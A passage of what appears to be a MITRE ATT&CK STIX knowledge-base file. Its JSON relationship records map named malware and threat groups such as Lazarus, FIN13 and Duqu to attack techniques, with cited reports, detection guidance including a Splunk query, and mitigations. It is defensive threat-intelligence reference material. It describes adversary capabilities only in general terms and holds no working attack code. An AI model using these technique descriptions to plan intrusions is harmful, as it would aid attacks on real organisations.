macOS.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.941Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can send screenshots files, keylogger data, files, and recorded audio back to the C2 server.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3ac0aee3-9da3-4049-adee-8503e4b4f42a","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to login hook files (/Library/Preferences/com.apple.loginwindow.plist), especially by unusual accounts outside of normal administration duties.","modified":"2022-04-16T02:46:45.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ac252c3-1505-4bbe-9093-de7f9ef3f7b5","created":"2024-10-08T20:03:32.111Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T20:03:32.111Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) have used VPNs both for initial access to victim environments and for persistence within them following compromise.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.857Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) malware contains a secondary fallback command and control server that is contacted after the primary command and control server.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:07:10.854Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) transfers files from the compromised host via HTTP or HTTPS to a C2 server.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ad041f8-30ca-44bb-bad5-2e5b3e5d6242","type":"relationship","created":"2020-07-27T17:47:33.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T14:22:13.038Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can compress and encrypt archived files into multiple .sft files with a repeated xor encryption scheme.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ad23432-af84-4887-bbf2-733d12d03395","created":"2023-09-27T20:11:02.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:33:48.676Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use a file monitor to identify .lnk, .doc, .docx, .xls, .xslx, and .pdf files.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Lateral Movement","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"}],"modified":"2020-03-20T02:25:56.199Z","description":"[hcdLoader](https://attack.mitre.org/software/S0071) provides command-line access to the compromised system.(Citation: Dell Lateral Movement)","relationship_type":"uses","source_ref":"malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2019-07-25T14:25:53.497Z","description":"(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3aef452a-4ad9-4882-aebb-0043f2329f1d","type":"relationship","created":"2019-01-29T19:09:26.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2020-03-19T21:55:03.050Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) can start a command shell.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3afd226c-934f-44fd-8194-9a6dee5cba59","created":"2017-05-31T21:33:27.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro macOS Dacls May 2020","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/"},{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.705Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used multiple types of encryption and encoding for their payloads, including AES, Caracachs, RC4, XOR, Base64, and other tricks such as creating aliases in code for [Native API](https://attack.mitre.org/techniques/T1106) function names.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: TrendMicro macOS Dacls May 2020)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b02e08d-f6fe-4d7b-907d-e8c6534f9a98","created":"2023-07-27T20:50:01.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.946Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used PowerShell commands to obtain DNS data from a compromised network.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b035642-31cc-498e-9dff-9e145b35b968","type":"relationship","created":"2022-02-02T15:38:26.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:38:26.411Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can query the Registry for keys added to execute COM hijacking.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b056bef-e49e-4611-8c20-23cc14689b74","type":"relationship","created":"2019-04-10T15:21:29.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:34.041Z","description":"(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b09f6eb-ff5a-4d95-ae24-d4f6934a8fc6","type":"relationship","created":"2020-10-20T15:45:24.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:35:59.680Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.290Z","description":"The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on process details.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b10d114-ce08-4c8f-b8c6-e2ed13e04912","type":"relationship","created":"2020-03-20T18:41:43.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/","source_name":"LOLBAS Esentutl"}],"modified":"2020-03-20T18:41:43.580Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files to/from a remote share.(Citation: LOLBAS Esentutl)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b14b6f4-f1c4-4d60-9406-5f1fa45daf11","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b1a38d3-8d4c-472f-9433-098560a3208f","type":"relationship","created":"2020-10-20T03:25:10.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:31:05.418Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b1a912a-9854-428f-9dde-bd2100c554d8","type":"relationship","created":"2020-05-22T19:37:14.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T19:37:14.489Z","description":"(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b1aef91-72a6-4eae-bbc9-94fccc7b4118","type":"relationship","created":"2020-08-07T20:02:10.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.250Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can use HTTPS in C2 communications.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b248b79-3ab2-4b60-b1c2-2a072a18696e","created":"2022-10-17T22:01:22.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Conditional Access Policy Changes","description":"Microsoft. (2023, October 23). Troubleshooting Conditional Access policy changes. Retrieved January 2, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/conditional-access/troubleshoot-policy-changes-audit-log"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T14:52:51.849Z","description":"Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications.\n\nMonitor for changes made to security settings related to Azure AD Conditional Access Policies. These can be found in the Azure AD audit log under the operation name `Update Conditional Access policy.`(Citation: Microsoft Conditional Access Policy Changes)\n\nAnalytic 1 - Changes to AD security settings outside of normal maintenance windows.\n\nindex=security sourcetype IN (\"WinEventLog:Security\", \"azure:activity\", \"gsuite:reports:activity\", \"aws:cloudtrail\", \"linux_audit\", \"macos_secure\", \"network_logs\")\n(EventCode IN (4670, 5136, 5137, 5139, 5141) OR\n eventName IN (\"UpdateUser\", \"UpdateGroup\", \"UpdatePolicy\", \"UpdateRole\", \"PutRolePolicy\", \"AttachUserPolicy\", \"AttachGroupPolicy\", \"AttachRolePolicy\") OR\n \"protoPayload.methodName\" IN (\"directory.users.update\", \"admin.directory.group.update\", \"admin.directory.roleAssignments.update\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b24afd4-b13b-4c73-bb20-aeff4a44574c","type":"relationship","created":"2021-03-12T19:53:38.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Dtrack","url":"https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers","description":"Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021."}],"modified":"2021-03-12T19:53:38.756Z","description":"(Citation: Kaspersky Dtrack)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b2b3dfd-4126-4b04-b8a7-381b5cb61dbf","type":"relationship","created":"2019-11-13T14:44:49.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T17:48:20.467Z","description":"Patch the BIOS and EFI as necessary.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b2ca38e-351d-4595-8ddb-17b648f196ef","created":"2021-06-10T14:20:55.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"},{"source_name":"Microsoft Get-InboxRule","description":"Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/get-inboxrule?view=exchange-ps"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:37:39.004Z","description":"Enterprise email solutions may have monitoring mechanisms that may include the ability to audit inbox rules on a regular basis. \n\nIn an Exchange environment, Administrators can use `Get-InboxRule` / `Remove-InboxRule` and `Get-TransportRule` / `Remove-TransportRule` to discover and remove potentially malicious inbox and transport rules.(Citation: Microsoft Get-InboxRule)(Citation: Microsoft Manage Mail Flow Rules 